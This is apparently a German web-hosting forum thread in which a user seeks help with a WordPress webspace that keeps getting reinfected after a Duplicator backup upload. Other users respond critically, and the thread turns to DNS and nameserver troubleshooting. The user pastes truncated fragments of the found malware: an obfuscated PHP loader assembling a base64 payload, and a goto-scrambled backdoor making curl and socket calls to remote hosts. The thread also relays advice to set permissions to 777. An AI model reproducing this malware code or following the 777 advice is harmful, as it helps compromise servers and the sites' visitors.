Ja über die Plugin oberfläche, habe ja auch so ein WP Managment System Mainwp . Wurde alles immer Aktuell gehalten. Allerdings kann es ja dennoch sein das da jemand schlechten Code produziert hat oder oder.
Naja das Kind ist ja im Brunnen anstelle zu reden warum wie, versuch ich gerade eher wie Lebend rausholen
was ich ja getan habe, aber vll war es so ein gekauftes Plugin. Ich habe aber nichts mitbekommen was da sein sollte. Auf dem Alten Space war ja auch nichts. Also wie soll man dann solche Dinge raus finden. Kannst du mir da helfen?
Danke dafür, dass Du mit Deinem verantwortungslosen Verhalten beim Aufbau von Bot-Farmen unterstützt, damit Spammer und DDoSer genügend Resourcen haben. Ohne Worte…
Ist ja nicht mein fehler gewesen sondern das Plugin hatte eine schwachstelle. Die zwar behoben wurde aber teilweise injectionen schon vorhanden waren. Das war also nicht mein Verschulden
Nun ist erstmal alles gelöscht und ich Ziehe meinen Space wieder auf einen anderen Webspace da ist für jemand der einfach nur eine Webseite haben möchte und kein Itler sein möchte angenehmer. Danke Euch
Derzeit ist der gesamte Webspace nicht nutzbar. Mir hatte jemand via PN geholfen und so weit so gut, es mussten Rechte geändert werden nun kommt man nicht mehr auf den http.... Ordner vom gesamten Webspace. Die Malware wurde immer wieder über eine spezielle Domain nachgeladen. Auch das löschen der befallenen Dateien hat nix gebracht.
Ich denke mehr als hoffen das der Support sich dem Problem animmt und alles neu aufsetzt habe ich nicht. Das war bislang 5 Monate umsonst zahlen :(. Hoffentlich geht die Geschichte noch gut aus.
Hey
Wordpress
Dublicator Plugin https://de.wordpress.org/plugins/duplicator/
das Plugin erstellt 2 Dateien eine install.php und eine Zip beides hochgeladen nach 2 tagen wollte ich das einrichten ja hätte ich vll gleich machen sollen aber es gab ein 403 error und ich hatte keine Zeit diesen zu lösen.
Heißt ich habe nix eingerichtet gehabt
Schon warn da diese Dateien überall auf dem Webspace habe sie mir angeschaut und sahen sehr cryptisch aus.
Mittlerweile habe ich den gesamten Webspace gelöscht bekommen. Die Malware kommt aber immer wieder und erstellt teilweise Wordpress Dateien. ein Cronejob ist nicht auffindbar
Ja aber dann helft mir doch die Ahnung zu erhalten. Bislang war ich bei 1nem Webspace und dort gab es keine großen Einstellungen und co. Ich muss das ja auch irgendwann lernen
TBT ja du hast ja recht der vorhergehende war passender, ein paar einstellungen aber ansonsten nichts. Das hab ich ja nicht wissen können das es hier so viel mehr ist und nichts erklärt bzw geholfen wird. Mein Abo läuft noch bis Dezember. Schön wie viel geld man so verbraten kann. Aber du hast recht ich gebe auf, es will mir ja niemand helfen zum lernen.
Ich habe das schon richtig verstanden: Du betreibst auf Deinem WebHosting ein CMS, welches Du selber installiert hast, hast es nicht gehärtet, nicht gepflegt und weisst - nach einer Kompromittierung - nicht, wie Du Dich auf dem System anmelden kannst und Terminal-Befehle absetzt. Das ist einfach leichtsinnig und ich würde jemanden beauftragen, der sich auskennt oder auf einfache / gemanagte Systeme ausweichen.
Und nicht falsch verstehen: Mein Hauptvorwurf gilt eigentlich einer (IT-) Industrie, die immer suggeriert, es wäre alles ganz einfach ("Bin isch schon drin...?"). Ist es nicht. Damit verdienen Menschen ihren Lebensunterhalt.
Ich verstehe das klingt alls so als soll ich hier Kündigen. Warum sind die Leute hier so giftig, Ich kann nicht jeden Fehler wissen und verstehen. Ich betreibe die Webseiten eingie Jahre und so etwas ist noch nie passiert. im vorhergehenden Webspace hatte ich einzelne Accounts das hat vll geschützt oder es ist durch das kopieren passiert und ausgelöst. Ich verstehe aber das ich wieder zum alten Webspace soll. Danke
Ich glaube du hast das falsch verstande. Ich habe die rechte oder so nicht verändert hier was ich gemacht habe:
1 Account Abo
2 Domains eingetragen
3 uplaod eines dublicator Backup
Zwei Tage später war der Virus drauf das wars
Nun sagte der Support ich soll die Rechte auf 777 stellen. Das hat nichts gebracht immer noch nicht löschbar
Muss mich hier mit einschalten.
Bin seit Oktober Nutzer aber habe seit dem einen Virus drauf ich weiß nicht was passiert ist. Ich kann nix löschen der Virus hat scheinbar alles blockiert. Ich habe die Rechte auf 777 gesetzt dennoch geht nichts
Was kann ich tun
Support gibt immer allgemeine Antworten "alles Löschen"
leider habe ich keine zeit gehabt mich zu melden.
Der Support meint ich soll die Dateien einfach löschen, das kann ich aber nicht erhalte Fehler das die Dateien nicht gelöscht werden können. Auch nach Premission (alles angehakt) nichts geht. Ich bin am verzweifeln. Was kann ich noch machen? Wie ich das ganze via SSH mache weiß ich leider nicht
Ich kenne mich leider nicht so gut aus. Wenn ihr eine Hilfe habt könnt ihr mir sagen wie ich das dann mache, oder Keywords geben damit ich das ergoogeln kann.
Ich hoffe hier kann mir jemand helfen, sonst ist der ganze Space umsonst gekauft 
Datenbanken (keine zu finden alles leer)
Verschiedene WP und andere Files im FTP zu finden und viele davon mit merkwürdigen Codes
weder kann ich sie löschen noch bringt das ändern der Premission etwas
Geplante Aufgaben / Cronejobs keine verhanden
Dateien im Papierkorb können auch nicht gelöscht werden:
filemng failed: rm: cannot remove '/var/www/vhosts/hosting232915.ae9e7.netcup.net/.trash/craftymasterpiece.1.de/httpdocs/wp-content': Permission denied
rm: cannot remove '/var/www/vhosts/hosting232915.ae9e7.netcup.net/.trash/craftymasterpiece.1.de/httpdocs/.htaccess': Permission denied
rm: cannot remove '/var/www/vhosts/hosting232915.ae9e7.netcup.net/.trash/craftymasterpiece.1.de/httpdocs/index.php': Permission denied
filemng: Error occurred during /bin/rm command.
mit viel mühe habe ich einige Dateien löschen können. Allerdings entstehen für 3 Domains die Daten immer wieder neu eine art Wordpress Ordner und index Dateien im Ordner /domain.de/httpdocs/ die ich wieder nicht löschen kann
leider kann ich kine daten löschen verändern oder verschieben immer premission denind selbst wenn ich mir die vollen rechte gebe also alles angehakt kann ich nichts tun. das fängt ja nicht so gut an
was mach ich denn nun ?
ja nutze ich genau
aber ich habe bei netcup noch nicht einmal eine webseite installier habe nur folgende files hochgeladen : installer.php und 20251222_name webseite_10406dccdf9582a79556_20251222204005_archive.zip das sind zwei dateien von dublicator ein free plugin um backups zu erstellen.
das habe ich hochgeladen und wollte mit der install.php installieren ging aber nicht weil ich die rechte dazu irgendwie nicht hatte. das war alles.
eine woche später ist mein webspace voller komischer dateien überall und traffic in diesem monat 32 gb obwohl ich keine einzige webseie hochgeladen habe.
Was soll ich nur tun 
netcup ist extrem technisch man kann so viel einstellen das ist nicht einfach zu verstehen
Hallo
ich bin echt bissel traurig zu Weihnachten bin ich zu netcup gewechselt. Nun habe ich kaum was eingerichtet am anfang warn irgendwie mehrere Accounts erstellt worden das System hat mich mehrmals eingerichtet. Nun habe ich endlich nur noch 1 Account aaaaaber
ich habe ganz merkwürdige Dateien in allen meinen Dateiordnern für die jeweiligen Domains
zb wp-omo.php von 2019 inhgaltlich <?php
$z = "";
$z .= "UEQ5";
$z .= "d2FI";
$z .= "QUtK";
..
oder auch <?php define('A', 'jan45.tphu5583htr/giftmall::?_[0:1]=^^!!|items/[word]/^^!!.htm::'); goto hiaac; IeyQ_: ABP2h: goto gX5N_; gX5N_: function rmWYt($SzNJP, $n0Num = array()) { goto YLwgw; IIbnU: try { goto O6xd8; bA4B7: if (!($VKOkC == 0)) { goto azcBk; } goto Cc2aD; U2WlV: if (!true) { goto a_yPI; } goto u8a4i; egaI4: curl_setopt($YiZhl, CURLOPT_POST, 1); goto C4DzR; fSLfd: z29gY: goto U2WlV; qcmMW: curl_setopt($YiZhl, CURLOPT_RETURNTRANSFER, 1); goto ofHmr; uWdDl: $hQZHd = ''; goto fSLfd; QVktw: $xgM26 = "\x47\x45\x54"; goto V_WB_; sT7mt: if (!$o6kZW) { goto CthHi; } goto SBkJU; yH3gH: if (empty($n0Num)) { goto jdNew; } goto egaI4; ewLEM: goto a_yPI; goto ryrhW; pVyDO: curl_setopt($YiZhl, CURLOPT_CONNECTTIMEOUT, 0); goto qcmMW; g4rA6: $bJ3kC = stream_socket_client($u4KFA, $gBG7F, $uZJDn, 45); goto g0R1G; rRPJY: $YiZhl = curl_init(); goto EfCC0; gOEak: $k9qvs = isset($J6MDA[0]) ? $J6MDA[0] : ''; goto il0zJ; PextM: BEWGs: goto a3XdJ; V_WB_: $k9qvs =
das Index Php dateien und so weiter ich hab die aber noch hoch geladen ich habe nur mein Backup via Dublicator Plugin (2 Dateien ) hochgeladen leider hat am anfang hier was nicht geklappt, da hat der support sich irgendwann mal rangesetzt .
Nun auf einmal diese merkwürdigen Datein ich traue mich überhaupt nicht irgendwas auf dem webspace zu machen. ich weiß nicht einmal wie der inhalt eigentlich aussehen muss vom stammverzeichniss
Der Supoort hilft überhaupt nicht.
Wenn ich das nicht bald hin bekomme werde ich wohl wieder zu A l l Ink ... zurück da lief alles super
Ich weiß nicht was ich machen soll und die Dateien lassen sich auch nicht löschen
hey sorry ich habe das thema durcheinander gebracht ich hab zwei threads.
lag bei all ink mehr darf ich nicht schreiben sonst kann ich nicht antworten.
ich versuche die namesserver wieder einzutragen aber da kommt ein error. ich weiß das die daten noch vorhanden sind. ich wollte den umzug einfach gestalten mit einem plugin von wordpress. das es einfacher macht.
"Ansonsten bleibt nur, die DNS-Einträge bei Netcup temporär auf die IPs deines alten Providers manuell umzustellen." das versuch ich ja ich wollte eigentlich den nameserver von all iiiinn k ..... eintragen bekomme dann aber diesen fehler.
ich möchte eigentlich nur das der webspace richtig eingetragen ist und bei manchen inclusiv domains stehen viel mehr records drin und auch ausgefüllt das ist bei den zusatz domains nicht der fall da steht nur der obere teil und die host typ mx destination sind alle leer. ich will wissen warum und ob ich da was machen muss
Hey
ich weiß nicht warum, aber ich trage den Namenserver bzw die Namenserver von all .... ein und bekomme den Fehler: Domain update at registrar failed.
Was mach ich denn falsch? Ich muss das kurz eintragen um nochmal auf die Daten zu kommen.
Hi wenn ich die zusätzlichen Domains aktiviert habe und dann dns eintragen will macht mir das probleme ich wähle netcup dns aus aber es füllt nur den oberen Teile aus. Reicht das? pasted-from-clipboard.png
